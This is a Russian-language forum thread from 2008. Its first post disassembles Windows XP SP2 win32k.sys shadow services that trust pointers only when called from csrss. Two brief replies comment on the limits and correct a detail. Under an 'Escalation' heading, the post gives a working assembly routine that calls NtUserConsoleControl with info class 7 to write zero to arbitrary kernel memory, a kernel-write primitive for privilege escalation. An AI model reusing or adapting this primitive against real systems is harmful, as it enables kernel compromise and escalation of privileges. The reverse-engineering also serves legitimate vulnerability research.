1

Тема: Доступ к ядерной памяти из контекста csrss

Много где можно слышать что система падает изза ошибки гдето в процессе csrss. Конечно причиной падения не является завершение критического процесса(STATUS_SYSTEM_PROCESS_TERMINATED), последнее понятно, ибо если он завершается с кодом отличным от STATUS_SUCCESS система останавливается. Далее расмотрен доступ к памяти ядра посредством теневых(shadow) сервисов.
Многие из теневых сервисов предназначены для исполнения только в контексте процесса csrss. В контексте других процессов они возвращают ошибку. Это доверенные сервисы, у них отсутствует проверка валидности указателей. В начале работы этих сервисов выполняется сравнение PID текущего процесса с PID-м процесса csrss. PID csrss хранится в одной из переменных win32k. При инициализации csrss загружаются несколько модулей, в которых реализован весь функционал подсистемы. Один из загружаемых модулей - winsrv.dll При инициализации этого модуля выполняется экспортируемая им функция UserServerDllInitialization(). Эта функция вызывает теневой сервис NtUserInitialize. Пока подсистема не инициализирована в ядре переменная CsrProcessId содержит ноль. При вызове NtUserInitialize PID текущего процесса(а это csrss) сохраняется в переменной CsrProcessId. Далее любые вызовы этого сервиса окончаться неудачей с кодом STATUS_UNSUCCESSFUL:

NtUserInitialize:
    mov edi,edi
    push ebp
    mov ebp,esp
    cmp dword ptr [CsrProcessId],0
    jnz short win32k.000C7181    ;Уже инициализирована, mov eax,STATUS_UNSUCCESSFUL
    mov eax,win32k_.00050000
    cmp dword ptr [ebp+8],eax
    jnz win32k.000C6B84    ;-> KeBugCheckEx()
    call ntoskrnl.PsGetCurrentProcessSessionId
    [...]
    call PsGetCurrentProcess
    mov ecx,eax
    mov dword ptr [CsrProcessId],eax    ;Сохраняем PID csrss
    [...]

Внутренние csrss теневые сервисы проверяют PID вызывающего процесса  с PID csrss, хранящимся в переменной CsrProcessId:

NtUserNotifyProcessCreate:
    mov edi,edi
    push ebp
    mov ebp,esp
    push esi
    call win32k_.00010A3A
    call PsGetCurrentProcess
    cmp eax,dword ptr [<CsrProcessId>]
    jnz short win32k.000F5A3A    ;Возвращает STATUS_ACCESS_DENIED
    [...]

Тоесть эти сервисы доступны только в контексте csrss. Пример:
[Win32k.sys]
OS:                XPSP2(5.1.2600.2180)
OptionalHeader.ImageBase:    0x10000
CsrProcessId variable RVA:    (0x1B6DA4 - 0x10000)

[Shadow SST]
Section:    .data
RVA:        (0x1A7600 - 0x10000)

[NtUserConsoleControl]
Service number:        0x114E
Offset in SST:        0x14E * 4 = 0x538
Handler RVA:        (0xF5400 - 0x10000)

000F5400 <NtUserConsoleControl>             mov edi,edi
000F5402                                    push ebp
000F5403                                    mov ebp,esp
000F5405                                    push esi
000F5406                                    call win32k_.00010A3A
000F540B                                    call dword ptr [<&ntoskrnl.PsGetCurrentProcess>]
000F5411                                    cmp eax,dword ptr [<CsrProcessId>]
000F5417                                    jnz short win32k_.000F5435
000F5419                                    push dword ptr [ebp+10]    ;Parameter2
000F541C                                    push dword ptr [ebp+C]    ;Parameter1
000F541F                                    push dword ptr [ebp+8]    ;Infoclass[0%9]
000F5422                                    call win32k_.00010517
000F5427                                    mov esi,eax
000F5429                                    call win32k_.00010A66
000F542E                                    mov eax,esi
000F5430                                    pop esi
000F5431                                    pop ebp
000F5432                                    ret 0C
000F5435                                    mov esi,C0000022    ;STATUS_ACCESS_DENIED
000F543A                                    jmp short win32k_.000F5429

00010517                                    mov edi,edi
00010519                                    push ebp
0001051A                                    mov ebp,esp
0001051C                                    push ecx
0001051D                                    push ecx
0001051E                                    mov eax,dword ptr [ebp+8]
00010521                                    cmp eax,9                                                 ;  Switch (cases 0..9)
00010524                                    push ebx
00010525                                    push esi
00010526                                    push edi
00010527                                    ja win32k_.000F550D
0001052D                                    jmp win32k_.000F5517

000F550D                                    mov eax,C0000003      ;STATUS_INVALID_INFO_CLASS
000F5512                                    jmp win32k_.000F565A

000F565A                                    pop edi
000F565B                                    pop esi
000F565C                                    pop ebx
000F565D                                    leave
000F565E                                    ret 0C

000F5517                                    jmp dword ptr [eax*4+F551E]
000F551E                                    dd win32k_.000F5546                                       ;  Switch table used at 000F5517
000F5522                                    dd win32k_.000F564C
000F5526                                    dd win32k_.000F550D
000F552A                                    dd win32k_.000F54BE
000F552E                                    dd win32k_.000F5642
000F5532                                    dd win32k_.000F54CB
000F5536                                    dd win32k_.000F54DC
000F553A                                    dd win32k_.000F55A0    ;<---
000F553E                                    dd win32k_.000F54EE
000F5542                                    dd win32k_.000F5500

[InfoClass #7]
000F55A0                                    mov esi,dword ptr [ebp+C]    ;Parameter1
000F55A3                                    mov ecx,dword ptr [esi]
000F55A5                                    xor ebx,ebx
000F55A7                                    push ebx
000F55A8                                    mov dword ptr [esi+C],ebx
000F55AB                                    mov eax,dword ptr [<&ntoskrnl.ExDesktopObjectType>]
000F55B0                                    mov eax,dword ptr [eax]
000F55B2                                    lea edx,dword ptr [ebp+8]
000F55B5                                    push edx
000F55B6                                    push 1
000F55B8                                    push eax
000F55B9                                    push ebx
000F55BA                                    push ecx
000F55BB                                    call dword ptr [<&ntoskrnl.ObReferenceObjectByHandle>]    ;  ntoskrnl.ObReferenceObjectByHandle
000F55C1                                    cmp eax,ebx
000F55C3                                    mov edi,dword ptr [ebp+8]
000F55C6                                    mov dword ptr [ebp-8],edi
000F55C9                                    jl win32k_.000F565A

[Parameter1]
{
0x00    IN HANDLE DesktopHandle,    ;ObReferenceObjectByHandle() -> STATUS_INVALID_HANDLE
0x04    XX DWORD Undefined1,
0x08    XX DWORD Undefined2,
0x0C    OUT DWORD WriteToZero
}

[Escalation]

SERVICE_DATA struct
DesktopHandle    HANDLE ?
Undefined1    DWORD ?
Undefined2    DWORD ?
WriteToZero    DWORD ?
SERVICE_DATA ends
PSERVICE_DATA typedef ptr SERVICE_DATA

;Write zero to ServiceData + 0xC if invalid DesktopHandle
CsrWriteZeroToKernelMemory proc ServiceData:PSERVICE_DATA
    push NULL    ;Reserved
    push ServiceData
    push 7        ;Infoclass
    mov eax,114eh    ;NtUserConsoleControl
    mov edx,esp
    int 2eh
    cmp eax,STATUS_INVALID_HANDLE
    lea esp,[esp + 3*4]
    setz al
    movzx eax,al    ;BOOLEAN
    ret
CsrWriteZeroToKernelMemory endp

Отредактировано Indy (2008-10-30 00:24:23)

2

Re: Доступ к ядерной памяти из контекста csrss

Ага, в ядро пролезли. Осталось только залезть в CSRSS... В висте и семёрке это не тривиально sad

3

Re: Доступ к ядерной памяти из контекста csrss

PsGetCurrentProcess() возвращает же не PID, а PEPROCESS.
а так где-то кажется читал об этом, у Ионеску что ли.